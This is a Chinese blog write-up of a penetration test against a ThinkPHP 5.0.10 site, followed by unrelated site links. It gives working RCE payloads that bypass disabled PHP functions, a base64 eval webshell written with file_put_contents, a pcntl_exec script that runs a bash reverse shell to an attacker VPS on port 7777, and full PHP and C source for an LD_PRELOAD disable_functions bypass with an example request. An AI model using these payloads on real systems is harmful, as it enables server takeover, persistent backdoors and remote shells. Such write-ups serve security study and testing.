一次项目中Thinkphp绕过禁用函数的实战记录


Posted in PHP onNovember 17, 2021

前言

在一次渗透测试中,手工找了许久没发现什么东西,抱着尝试的心情打开了xray

果然xray还是挺给力的,一打开网页的时候xray直接就扫描出了thinkphp 5.0.10 rce漏洞

直接使用命令执行payload,结果报出system函数被禁用

s=whoami&_method=__construct&method=&filter[]=system

一次项目中Thinkphp绕过禁用函数的实战记录

尝试应用其他函数进行利用,经过测试发现call_user_func函数没有被禁用
Payload

s=phpinfo&_method=__construct&method=get&filter[]=call_user_func

可以看到哪些函数被禁用了

一次项目中Thinkphp绕过禁用函数的实战记录

看到assert和include没有被禁用,一开始想写shell进日志然后去利用文件包含,发现并没有任何反应,也不报错。

file_put_contents

又回去看被禁用的函数,发现文件函数没被禁用,可以用file_put_contents函数去写文件
测试写入phpinfo文件

s=file_put_contents('/www/wwwroot/public/phpinfo.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert

一次项目中Thinkphp绕过禁用函数的实战记录

写入成功

一次项目中Thinkphp绕过禁用函数的实战记录

写入冰蝎马可以进行文件管理了

一次项目中Thinkphp绕过禁用函数的实战记录

虽然可以进行文件操作了,但还是没法执行命令

一次项目中Thinkphp绕过禁用函数的实战记录

pcntl_exec

想到了比较容易被忽略的命令执行函数pcntl_exec,发现pcntl_exec函数没有被禁用,该函数可以指定一个程序来执行指定文件

先写一个exe.php文件,在文件中指定pcntl_exec的参数(执行运行程序,运行指定文件)

<?php
    switch (pcntl_fork()) {
        case 0:
            pcntl_exec('/bin/bash', ['/www/wwwroot/public/exec.sh']);
            exit(0);
        default:
            break;
    }
?>

exec.sh文件写入反弹命令

bash -i >& /dev/tcp/vpsip/7777 0>&1

浏览器访问exe.php成功反弹shell

一次项目中Thinkphp绕过禁用函数的实战记录

LD_PRELOAD 劫持

这次渗透是结束了,这里尝试了另外一种绕过方法,如果遇到pcntl_exec函数也被禁用的情况,可以利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。详细的原理介绍就不赘述了,可以参考这个大哥的文章https://www.meetsec.cn/index.php/archives/44/

这种方法主要是需要上传一个.php和一个由.c程序编译得到共享对象.so文件到服务器

bypass_disablefunc.php

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

    unlink($out_path);
?>

bypass_disablefunc.php提供了三个参数:

  1. cmd 参数,待执行的系统命令(如 whoami)。
  2. outpath 参数,保存命令执行输出结果的文件路径(如 /www/wwwroot/public),便于在页面上显示,另外关于该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点。
  3. sopath 参数,指定劫持系统函数的共享对象的绝对路径(如 /www/wwwroot/bypass_disablefunc_x64.so),另外关于该参数,你应注意 web 是否可跨目录访问到它,最好也传到web根目录下。

bypass_disablefunc.c

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

这里需要用命令gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so将 bypass_disablefunc.c编译为共享对象 bypass_disablefunc_x64.so

要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。

可以在github上找到上述需要的文件
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

这里利用之前的文件管理冰蝎shell将php和so文件上传到服务器web目录
在浏览器访问bypass_disablefunc.php传入参数

http://www.xxx.com/bypass_disablefunc.php?cmd=ls&outpath=/www/wwwroot%20/public/1.txt&sopath=/www/wwwroot/public/bypass_disablefunc_x64.so

成功执行命令

一次项目中Thinkphp绕过禁用函数的实战记录

总结

到此这篇关于一次项目中Thinkphp绕过禁用函数的文章就介绍到这了,更多相关Thinkphp绕过禁用函数内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

PHP 相关文章推荐
dedecms采集中可以过滤多行代码的正则表达式
Mar 17 PHP
用PHP伪造referer突破网盘禁止外连的代码
Jun 15 PHP
php在多维数组中根据键名快速查询其父键以及父键值的代码
May 07 PHP
PHPEXCEL 使用小记
Jan 06 PHP
php数组中删除元素之重新索引的方法
Sep 16 PHP
THINKPHP支持YAML配置文件的设置方法
Mar 17 PHP
php显示时间常用方法小结
Jun 05 PHP
PHP直接修改表内容DataGrid功能实现代码
Sep 24 PHP
php入门教程之Zend Studio设置与开发实例
Sep 09 PHP
Yii2使用$this-&gt;context获取当前的Module、Controller(控制器)、Action等
Mar 29 PHP
源码分析 Laravel 重复执行同一个队列任务的原因
Dec 25 PHP
php 函数中静态变量使用的问题实例分析
Mar 05 PHP
php修改word的实例方法
Nov 17 #PHP
PHP获取学生成绩的方法
Nov 17 #PHP
php去除deprecated的实例方法
Nov 17 #PHP
php去除数组中为0的元素的实例分析
Nov 17 #PHP
tp5使用layui实现多个图片上传(带附件选择)的方法实例
php png失真的原因及解决办法
Nov 17 #PHP
php实例化对象的实例方法
Nov 17 #PHP
You might like
PHILIPS D1835/D1875的电路分析与打理
2021/03/02 无线电
最贵的咖啡是怎么产生的,它的风味怎么样?
2021/03/04 新手入门
php 正则 过滤html 的超链接
2009/06/02 PHP
php中批量修改文件后缀名的函数代码
2011/10/23 PHP
利用php递归实现无限分类 格式化数组的详解
2013/06/08 PHP
PHP 过滤页面中的BOM(实现代码)
2013/06/29 PHP
php输出1000以内质数(素数)示例
2014/02/16 PHP
yii2.0之GridView自定义按钮和链接用法
2014/12/15 PHP
android上传图片到PHP的过程详解
2015/08/03 PHP
CI框架实现创建自定义类库的方法
2018/12/25 PHP
Yii2框架视图(View)操作及Layout的使用方法分析
2019/05/27 PHP
Javascript之文件操作
2007/03/07 Javascript
Add Formatted Text to a Word Document
2007/06/15 Javascript
js监听滚动条滚动事件使得某个标签内容始终位于同一位置
2014/01/24 Javascript
url中的特殊符号有什么含义(推荐)
2016/06/17 Javascript
前端弹出对话框 js实现ajax交互
2016/09/09 Javascript
Express + Node.js实现登录拦截器的实例代码
2017/07/01 Javascript
Vue单文件组件基础模板小结
2017/08/10 Javascript
微信小程序实现添加手机联系人功能示例
2017/11/30 Javascript
Vue 创建组件的两种方法小结(必看)
2018/02/23 Javascript
vue选项卡切换登录方式小案例
2019/09/27 Javascript
微信小程序 wx:for 与 wx:for-items 与 wx:key的正确用法
2020/05/19 Javascript
Python安装第三方库及常见问题处理方法汇总
2016/09/13 Python
Python 中urls.py:URL dispatcher(路由配置文件)详解
2017/03/24 Python
python ctypes库2_指定参数类型和返回类型详解
2019/11/19 Python
浅谈keras保存模型中的save()和save_weights()区别
2020/05/21 Python
Python字典实现伪切片功能
2020/10/28 Python
HTML5实现移动端弹幕动画效果
2019/08/01 HTML / CSS
美国专业汽车音响和移动电子产品零售商:Car Toys
2019/05/13 全球购物
Groupon荷兰官方网站:高达70%的折扣
2019/11/01 全球购物
红旗方阵解说词
2014/02/12 职场文书
吸烟检讨书2000字
2014/02/13 职场文书
教师党的群众路线对照检查材料
2014/09/24 职场文书
2014年电厂个人工作总结
2014/11/27 职场文书
工作保证书怎么写
2015/02/28 职场文书
vue实现水波涟漪效果的点击反馈指令
2021/05/31 Vue.js